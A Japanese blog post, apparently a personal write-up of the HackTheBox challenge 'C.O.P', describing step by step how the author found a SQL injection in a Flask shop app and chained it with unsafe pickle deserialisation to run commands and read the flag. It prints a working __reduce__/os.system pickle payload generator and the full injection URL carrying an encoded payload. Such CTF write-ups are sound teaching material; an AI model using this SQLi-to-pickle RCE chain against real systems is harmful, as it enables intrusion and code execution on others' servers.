C.O.P(HTB)
初めてWrite upとか攻略系のヒント見ずにできた~!
3日かかった。。
過程
とりあえずコードを見る
↓
class shop(object):
@staticmethod
def select_by_id(product_id):
return query_db(f"SELECT data FROM products WHERE id='{product_id}'", one=True)
SQLインジェクションみがあるのでselect_by_id
を追う
↓
@web.route('/view/<product_id>')
def product_details(product_id):
return render_template('item.html', product=shop.select_by_id(product_id))
↓
def query_db(query, args=(), one=False):
with app.app.app_context():
cur = get_db().execute(query, args)
rv = [dict((cur.description[idx][0], value) \
for idx, value in enumerate(row)) for row in cur.fetchall()]
return (next(iter(rv[0].values())) if rv else None) if one else rv
何も分からない。。一個一個調べるの巻。ここでたくさん時間を使う
↓
/view/1
→/view/1'||'
で動作することを確認。でも違うことをすると500レスポンスになってしまう。悩む。
↓
分からんから先を追ってみるかと思ってindex.htmlを見る
↓
<section class="py-5">
<div class="container px-4 px-lg-5 mt-5">
<div class="row gx-4 gx-lg-5 row-cols-2 row-cols-md-3 row-cols-xl-4">
{% for product in products %}
{% set item = product.data | pickle %}
pickleを確認。ググる。
警告
pickle
モジュールは 安全ではありません 。信頼できるデータのみを非 pickle 化してください。
非 pickle 化の過程で任意のコードを実行する ような、悪意ある pickle オブジェクトを生成することが可能です。信頼できない提供元からのデータや、改竄された可能性のあるデータの非 pickle 化は絶対に行わないでください。
なるほど、これを使うんやな
↓
しばらく悩む。
SQLインジェクションを成功させて、悪意のある値をpickleに渡すことで任意コードを実行させるという方法なのかな~と考える。
まずはSQLインジェクションをちゃんと成功させようという思考になる
↓
まず1'--で--
が使えることを確認
1'||+'
でも1||%20'
でもRepeaterなら動くことを確認
1'+UNION+SELECT+'1'--
は動かない。悩む
↓
ひとまずDockerで動かしてみて考えることにする。
以下、しばらくローカル環境
@web.route('/view/<product_id>')
def product_details(product_id):
print("product_id is \n")
print(product_id)
product = shop.select_by_id(product_id)
print("product is \n")
print(product)
return render_template('item.html', product=product)
@app.template_filter('pickle')
def pickle_loads(s):
print("s is \n")
print(s)
pickle_str = pickle.loads(base64.b64decode(s))
<div class="row gx-4 gx-lg-5 row-cols-2 row-cols-md-3 row-cols-xl-4">
{% for product in products %}
{% set item = product.data | pickle %}
{{ item }}
(他にも書いたり消したりして色々してみた気がするけど忘れた。)
SQLのエラー→binascii.Error: Invalid base64-encoded string: number of data characters (21) cannot be 1 more than a multiple of 4
を確認。base64?
↓
import base64
import sys
import pickle
input_str = input("Please input strings>")
encoded = base64.b64encode(input_str.encode())
print("encoded is: ", encoded)
pickle_dump_value = base64.b64encode(pickle.dumps(input_str)).decode()
print("pickle encode value is: \n", pickle_dump_value)
コードを真似してpickle.dumpしてみる
$ python cop.py
Please input strings>1
gASVBQAAAAAAAACMATGULg==
↓
0'%20UNION%20ALL%20SELECT%20'gASVBQAAAAAAAACMATGULg=='--
でid=1の商品詳細が表示された!(確かこの値だったはず)
↓
SQLインジェクションの方はこれでいい感じだと仮定して、pickleのペイロードを探す。
色々やってpickleのエラーが表示されることが続く。。
↓
pickle python vulnerability
とかpickle python RCE
、python pickle serialization vulnerability
みたいなワードが結構いい感じに検索に引っかかった。python pickle コード実行
とかは全然引っかからんかった
これだ!
↓
import pickle
import os
import base64
class Test:
def __reduce__(self):
cmd = "cat flag.txt"
return (os.system,(cmd,))
pickled_data = pickle.dumps(Test())
print((base64.b64encode(pickled_data)).decode())
↓
$ python cop3.py
出てきた値を投げてみる
↓
ブラウザ上にflag.txtの情報が無い。。。
けどなぜかコンソールにHTB{f4k3_fl4gs_f0r_t3st1ng}
が表示されてることに気づく
↓
class Item:
def __init__(self, name, description, price, image):
self.name = name
self.description = description
self.image = image
self.price = price
def migrate_db():
items = [
Item('Pickle Shirt', 'Get our new pickle shirt!', '23', '/static/images/pickle_shirt.jpg'),
Item('Pickle Shirt 2', 'Get our (second) new pickle shirt!', '27', '/static/images/pickle_shirt2.jpg'),
Item('Dill Pickle Jar', 'Literally just a pickle', '1337', '/static/images/pickle.jpg'),
Item('Branston Pickle', 'Does this even fit on our store?!?!', '7.30', '/static/images/branston_pickle.jpg')
]
これを見つつ調整して、{{ item.name }}
にflag.txtを表示させなきゃいけない、、、ってこと!?
としばらく悩む
↓
実行されているのであれば、ファイル作成すればみれるのでは?と思う、やってみる
cmd = "cat flag.txt >> test.txt"
でファイル作成されたことを確認
商品画像があるパスならいけるやろ思い、cmd = "cat flag.txt >> /app/application/static/images/test.txt"
にして、もう一度python cop3.py
する
↓
ブラウザで/static/images/test.txt
にアクセスしてHTB{f4k3_fl4gs_f0r_t3st1ng}が表示されたことを確認!
target ipへ
http://{TAEGET_IP}/view/x'%20UNION%20ALL%20SELECT%20'gASVUgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjDdjYXQgZmxhZy50eHQgPj4gL2FwcC9hcHBsaWNhdGlvbi9zdGF0aWMvaW1hZ2VzL3Rlc3QudHh0lIWUUpQu'--
へアクセス
↓
http://{TAEGET_IP}/static/images/test.txt
へアクセス
↓
flag表示されたー!
終わり!
他のwrite up見ようと思ったけど、さらっと検索した感じなさそうだった。
みんなどうやってやったんだろう。。
また思い出したら来よう
Discussion